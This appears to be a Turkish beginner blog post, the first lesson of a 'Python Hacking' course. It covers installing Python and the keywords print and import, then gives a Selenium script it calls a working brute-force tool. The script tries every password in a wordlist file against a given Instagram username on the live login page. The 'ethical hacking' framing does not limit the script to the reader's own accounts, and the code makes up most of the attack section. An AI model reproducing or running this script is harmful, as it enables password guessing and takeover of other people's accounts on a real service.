Facebook

Header Ads

Python Hacking / Ders #1 / Yazılım Kampı - Mossarb

Yazılım Kampı


Python Hacking / Ders #1 

Merhaba Dostlar, Uzun Bir Aradan Sonra Tekrar Sizlerleyim ve şimdi güzel bir geliş olsun istedim bu nedenle yeni bir Yazılım Kampı Başlatıyorum ve Kampın Konusu Python Hacking yani python kodlama dili ile Ethical Hack yapmak.

Hemen 1. Dersimize Geçelim.

1. Derste Yapacaklarımız:

Python Kurulumu

Ana Python Kelimeleri

Bir Python Hack Örneği

Python Kurulumu

https://www.python.org/downloads/

Yukarıda ki Linkten Python Web Sitesine Giderek Python En Son Sürümünü İndiriniz.

Daha Sonra,

Yüklediğiniz Programı Çalıştırın ve Python Otomatik Olarak Kurulucaktır.

Daha Sonra Windows Arama Çubuğuna cmd (Komut İstemi) yazarak çıkan sonucu açın ve oraya python yazın ve kurulduğunu kontrol ediniz.

Eğer Error (Hata) Alırsanız Programı Tekrar Başlatın tekrar olmaz ise İnternet Üzerinden İnceliyerek Sorunu Çözebilirsiniz.

Ana Python Kelimeleri

İlk Python Ana Kelimesi = print

print sizin bir cümlenizi ekrana yazdırır.

Örnek:

print("Merhaba Dünya!")

İkinci Ana Python Kelimesi = import

import bir python kütüphanesini projenize dahil etmenize yardımcı olur

Örnek:

import requests

import ile yanında bir kelime daha kullanılır bu ise programın yeridir.

Örnek:

from tkinter import *

Şimdilik Bu Kadar Kelime Ama Daha Fazlası Elbette Var.

Python Hack Örneği

Şimdi ise bir python ile bir BruteForce aracı yapalım.(Çalışıyor)

Kod:

from selenium import webdriver
import time

browser = webdriver.Firefox()
browser.get("https://www.instagram.com/accounts/login") # Instagram giriş sayfası
na yönlendir.

time.sleep(3) # Hata çıkmaması için buraya bir zamanlama koymamız gerek.

username = browser.find_element_by_name("username") # Username divinin name değer
i girilecek.
password = browser.find_element_by_name("password") # Password divinin name değer
i girilecek.
giris    = browser.find_element_by_xpath('//*[@id="react-root"]/section/main/div/
article/div/div[1]/div/form/div[4]') # Giriş yap butonunun xPath değeri alınacak.

dosya = open("sifreler.txt", "r") # Şifrelerin kaydedildiği wordlist dosyamızı aç
tık.

for satir in dosya:
    username.send_keys("İNSTAGRAM KULLANICI ADI") # Instagram kullanıcı adı.
    password.send_keys(satir) # WordList'teki şifreler. Tek tek denenecek.
    giris.click() # Giriş yap butonuna tıklama komutu.
    print("Denenen Şifre: [{}]".format(satir)) # Denenen şifreyi konsola yazdır.

    time.sleep(3) # Şifreler denendikten sonra 3 saniye bekle.

    username.clear() # Username değişkenini sıfırla.
    password.clear() # Password değişkenini sıfırla.

dosya.close() # WordList dosyamızı işlem bitince kapatalım.
time.sleep(10) # 10 Saniye bekleyelim.
browser.close() # WebDriveri sonlandıralım.

Bu Kodlardan Sonra sifreler.txt adında bir txt belge oluşturup bu kod dosyası ile aynı dizine atın.

Ve GeckoDriver indirmeniz Gerekiyor. GeckoDriver'i de kod dosyası ve txt belge ile aynı dizine atınız.


Takipte Kalın / Mossarb


Resim Kaynağı: